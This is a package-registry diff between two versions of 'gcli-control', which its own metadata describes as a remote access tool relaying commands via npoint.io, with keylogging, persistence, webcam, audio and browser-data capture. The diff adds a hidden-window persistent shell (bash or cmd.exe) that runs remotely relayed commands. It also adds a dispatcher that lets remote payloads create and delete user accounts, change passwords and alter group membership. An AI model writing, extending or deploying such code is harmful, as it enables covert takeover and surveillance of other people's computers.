gcli-control 0.7.0__tar.gz → 0.7.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (46) hide show
  1. {gcli_control-0.7.0 → gcli_control-0.7.1}/PKG-INFO +1 -1
  2. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/__init__.py +1 -1
  3. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/host.py +1 -0
  4. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/users.py +31 -0
  5. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/utils.py +175 -1
  6. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/PKG-INFO +1 -1
  7. {gcli_control-0.7.0 → gcli_control-0.7.1}/pyproject.toml +1 -1
  8. {gcli_control-0.7.0 → gcli_control-0.7.1}/README.md +0 -0
  9. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/__main__.py +0 -0
  10. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/aliases.py +0 -0
  11. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/audio.py +0 -0
  12. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/automation.py +0 -0
  13. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/bluetooth.py +0 -0
  14. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/browser.py +0 -0
  15. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/client.py +0 -0
  16. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/clipboard.py +0 -0
  17. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/colors.py +0 -0
  18. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/crypto.py +0 -0
  19. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/desktop.py +0 -0
  20. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/elevator.py +0 -0
  21. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/encrypt.py +0 -0
  22. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/fileops.py +0 -0
  23. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/forensics.py +0 -0
  24. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/keylog.py +0 -0
  25. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/monitoring.py +0 -0
  26. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/netutils.py +0 -0
  27. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/network_config.py +0 -0
  28. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/npoint.py +0 -0
  29. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/output.py +0 -0
  30. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/persistence.py +0 -0
  31. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/processes.py +0 -0
  32. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/protocol.py +0 -0
  33. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/registry.py +0 -0
  34. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/security.py +0 -0
  35. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/session.py +0 -0
  36. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/system.py +0 -0
  37. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/transfer.py +0 -0
  38. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/webcam.py +0 -0
  39. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/wifi.py +0 -0
  40. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/SOURCES.txt +0 -0
  41. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/dependency_links.txt +0 -0
  42. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/entry_points.txt +0 -0
  43. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/requires.txt +0 -0
  44. {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/top_level.txt +0 -0
  45. {gcli_control-0.7.0 → gcli_control-0.7.1}/setup.cfg +0 -0
  46. {gcli_control-0.7.0 → gcli_control-0.7.1}/tests/test_integration.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: gcli-control
3
- Version: 0.7.0
3
+ Version: 0.7.1
4
4
  Summary: Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands
5
5
  Author: gcli contributors
6
6
  License-Expression: MIT
@@ -2,5 +2,5 @@
2
2
  gcli — remote access tool via npoint.io.
3
3
  Encrypted command relay using AES-256-GCM over npoint.io JSON bins.
4
4
  """
5
- __version__ = "0.7.0"
5
+ __version__ = "0.7.1"
6
6
  __author__ = "gcli"
@@ -17,6 +17,7 @@ from .protocol import (
17
17
  from .utils import (
18
18
  write_pid, read_pid, remove_pid, is_running, kill_pid,
19
19
  detach, run_command, get_system_info, setup_logging, ensure_dirs,
20
+ PersistentShell,
20
21
  )
21
22
 
22
23
  # Feature modules — imported lazily to keep startup fast
@@ -412,6 +412,37 @@ def current_user_info() -> dict:
412
412
  }
413
413
 
414
414
 
415
+ # ---------------------------------------------------------------------------
416
+ # Dispatch
417
+ # ---------------------------------------------------------------------------
418
+
419
+ _HANDLERS = {
420
+ "list_users": lambda p: list_users(),
421
+ "add_user": lambda p: add_user(p.get("username", ""), p.get("password", ""), p.get("fullname", "")),
422
+ "remove_user": lambda p: remove_user(p.get("username", "")),
423
+ "change_password": lambda p: change_password(p.get("username", ""), p.get("password", "")),
424
+ "lock_user": lambda p: lock_user(p.get("username", "")),
425
+ "unlock_user": lambda p: unlock_user(p.get("username", "")),
426
+ "list_groups": lambda p: list_groups(),
427
+ "user_groups": lambda p: user_groups(p.get("username", "")),
428
+ "add_to_group": lambda p: add_to_group(p.get("username", ""), p.get("group", "")),
429
+ "remove_from_group": lambda p: remove_from_group(p.get("username", ""), p.get("group", "")),
430
+ "current_user_info": lambda p: current_user_info(),
431
+ }
432
+
433
+
434
+ def dispatch(payload: dict) -> dict:
435
+ """Route a user-management payload to the correct handler."""
436
+ cmd_type = payload.get("type", "")
437
+ handler = _HANDLERS.get(cmd_type)
438
+ if handler:
439
+ try:
440
+ return handler(payload)
441
+ except Exception as e:
442
+ return {"ok": False, "error": str(e)}
443
+ return {"ok": False, "error": f"Unknown user command: {cmd_type}"}
444
+
445
+
415
446
  # ---------------------------------------------------------------------------
416
447
  # Self-test
417
448
  # ---------------------------------------------------------------------------
@@ -2,16 +2,19 @@
2
2
  Utility functions for gcli.
3
3
  - PID file management
4
4
  - Process detachment (Windows + Linux)
5
- - Shell command execution
5
+ - Persistent shell execution
6
+ - One-shot shell command execution
6
7
  - System information gathering
7
8
  """
8
9
  import os
9
10
  import sys
10
11
  import uuid
12
+ import time
11
13
  import platform
12
14
  import subprocess
13
15
  import socket
14
16
  import logging
17
+ import threading
15
18
  from typing import Optional
16
19
  from pathlib import Path
17
20
 
@@ -210,6 +213,177 @@ def run_command(cmd: str, timeout: int = 30) -> dict:
210
213
  }
211
214
 
212
215
 
216
+ # ---------------------------------------------------------------------------
217
+ # Persistent shell — keeps a live shell process across exec commands
218
+ # so cd, env changes, etc. persist.
219
+ # ---------------------------------------------------------------------------
220
+
221
+ # Unique sentinel printed after every command to delimit output
222
+ _SENTINEL = "GCLI_END_8f3a" + uuid.uuid4().hex[:4]
223
+
224
+
225
+ class PersistentShell:
226
+ """
227
+ Maintains a long-running interactive shell subprocess.
228
+ Each ``run()`` call sends a command + sentinel, reads until the sentinel
229
+ appears, and returns the captured output.
230
+ """
231
+
232
+ def __init__(self, cwd: Optional[str] = None):
233
+ self.cwd = cwd or os.getcwd()
234
+ self._lock = threading.Lock()
235
+ self._proc: Optional[subprocess.Popen] = None
236
+ self._env = {**os.environ, "PYTHONIOENCODING": "utf-8"}
237
+ self._start()
238
+
239
+ # -- lifecycle -----------------------------------------------------------
240
+
241
+ def _start(self) -> None:
242
+ if sys.platform == "win32":
243
+ # Use cmd.exe with /Q to suppress echo of commands
244
+ self._proc = subprocess.Popen(
245
+ ["cmd.exe", "/Q", "/K", "chcp 65001 >nul"],
246
+ stdin=subprocess.PIPE,
247
+ stdout=subprocess.PIPE,
248
+ stderr=subprocess.STDOUT,
249
+ cwd=self.cwd,
250
+ env=self._env,
251
+ creationflags=subprocess.CREATE_NO_WINDOW if hasattr(subprocess, "CREATE_NO_WINDOW") else 0x08000000,
252
+ bufsize=0,
253
+ )
254
+ else:
255
+ self._proc = subprocess.Popen(
256
+ ["/bin/bash", "--norc", "--noprofile"],
257
+ stdin=subprocess.PIPE,
258
+ stdout=subprocess.PIPE,
259
+ stderr=subprocess.STDOUT,
260
+ cwd=self.cwd,
261
+ env=self._env,
262
+ bufsize=0,
263
+ )
264
+ # Give the shell a moment to start, then discard any startup output
265
+ self._drain_startup()
266
+
267
+ def _drain_startup(self) -> None:
268
+ """Read and discard any startup banners from the shell."""
269
+ if not self._proc or not self._proc.stdout:
270
+ return
271
+ # Send a blank line + sentinel to flush startup output
272
+ self._write(f"\necho {_SENTINEL}\n")
273
+ self._read_until_sentinel(timeout=5)
274
+
275
+ def alive(self) -> bool:
276
+ return self._proc is not None and self._proc.poll() is None
277
+
278
+ def restart(self, cwd: Optional[str] = None) -> None:
279
+ self.close()
280
+ self.cwd = cwd or os.getcwd()
281
+ self._start()
282
+
283
+ def close(self) -> None:
284
+ if self._proc:
285
+ try:
286
+ self._proc.stdin.write(b"exit\n")
287
+ self._proc.stdin.flush()
288
+ except Exception:
289
+ pass
290
+ try:
291
+ self._proc.terminate()
292
+ self._proc.wait(timeout=3)
293
+ except Exception:
294
+ try:
295
+ self._proc.kill()
296
+ except Exception:
297
+ pass
298
+ self._proc = None
299
+
300
+ # -- low-level I/O -------------------------------------------------------
301
+
302
+ def _write(self, data: str) -> None:
303
+ if self._proc and self._proc.stdin:
304
+ self._proc.stdin.write(data.encode("utf-8", errors="replace"))
305
+ self._proc.stdin.flush()
306
+
307
+ def _read_until_sentinel(self, timeout: float = 30) -> str:
308
+ """Read stdout bytes until the sentinel line is found or timeout."""
309
+ if not self._proc or not self._proc.stdout:
310
+ return ""
311
+ output_lines = []
312
+ deadline = time.time() + timeout
313
+ buf = b""
314
+ while time.time() < deadline:
315
+ # Check if process died
316
+ if self._proc.poll() is not None:
317
+ break
318
+ try:
319
+ chunk = os.read(self._proc.stdout.fileno(), 4096)
320
+ if not chunk:
321
+ time.sleep(0.05)
322
+ continue
323
+ buf += chunk
324
+ # Process complete lines
325
+ while b"\n" in buf:
326
+ line, buf = buf.split(b"\n", 1)
327
+ text = line.decode("utf-8", errors="replace")
328
+ if _SENTINEL in text:
329
+ return "\n".join(output_lines)
330
+ output_lines.append(text)
331
+ except (OSError, ValueError):
332
+ time.sleep(0.05)
333
+ return "\n".join(output_lines)
334
+
335
+ # -- public API ----------------------------------------------------------
336
+
337
+ def run(self, cmd: str, timeout: int = 30) -> dict:
338
+ """
339
+ Execute *cmd* in the persistent shell and return the result dict.
340
+ For ``cd`` commands, also update ``self.cwd``.
341
+ """
342
+ with self._lock:
343
+ if not self.alive():
344
+ try:
345
+ self.restart(self.cwd)
346
+ except Exception as e:
347
+ return {"ok": False, "stdout": "", "stderr": f"Shell restart failed: {e}", "rc": -1}
348
+
349
+ # Handle cd by tracking cwd in Python AND sending it to the shell
350
+ stripped = cmd.strip()
351
+ if stripped.lower().startswith("cd ") or stripped.lower() == "cd":
352
+ # Let the shell process cd, then query the result
353
+ target = stripped[3:].strip().strip('"').strip("'") if len(stripped) > 3 else ""
354
+ self._write(f"{cmd}\necho {self.cwd}\n" if target else f"{cmd}\npwd\n")
355
+ raw = self._read_until_sentinel(timeout=timeout)
356
+ # Parse the last line as the new cwd
357
+ lines = raw.strip().split("\n")
358
+ if lines:
359
+ new_cwd = lines[-1].strip().strip('"').strip("'")
360
+ if new_cwd and os.path.isdir(new_cwd):
361
+ self.cwd = new_cwd
362
+ self._env["CD"] = new_cwd
363
+ return {"ok": True, "stdout": raw, "stderr": "", "rc": 0, "cwd": self.cwd}
364
+
365
+ # Normal command
366
+ self._write(f"{cmd}\necho {_SENTINEL}\n")
367
+ raw = self._read_until_sentinel(timeout=timeout)
368
+
369
+ # After executing, query cwd so the client knows where we are
370
+ self._write(f"cd\n")
371
+ cwd_raw = self._read_until_sentinel(timeout=3)
372
+ cwd_lines = cwd_raw.strip().split("\n")
373
+ if cwd_lines:
374
+ detected = cwd_lines[-1].strip().strip('"').strip("'")
375
+ if detected and os.path.isdir(detected):
376
+ self.cwd = detected
377
+
378
+ return {
379
+ "ok": True,
380
+ "stdout": raw,
381
+ "stderr": "",
382
+ "rc": 0,
383
+ "cwd": self.cwd,
384
+ }
385
+
386
+
213
387
  # ---------------------------------------------------------------------------
214
388
  # System information
215
389
  # ---------------------------------------------------------------------------
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: gcli-control
3
- Version: 0.7.0
3
+ Version: 0.7.1
4
4
  Summary: Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands
5
5
  Author: gcli contributors
6
6
  License-Expression: MIT
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "gcli-control"
7
- version = "0.7.0"
7
+ version = "0.7.1"
8
8
  description = "Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands"
9
9
  readme = "README.md"
10
10
  license = "MIT"
File without changes
File without changes
File without changes
File without changes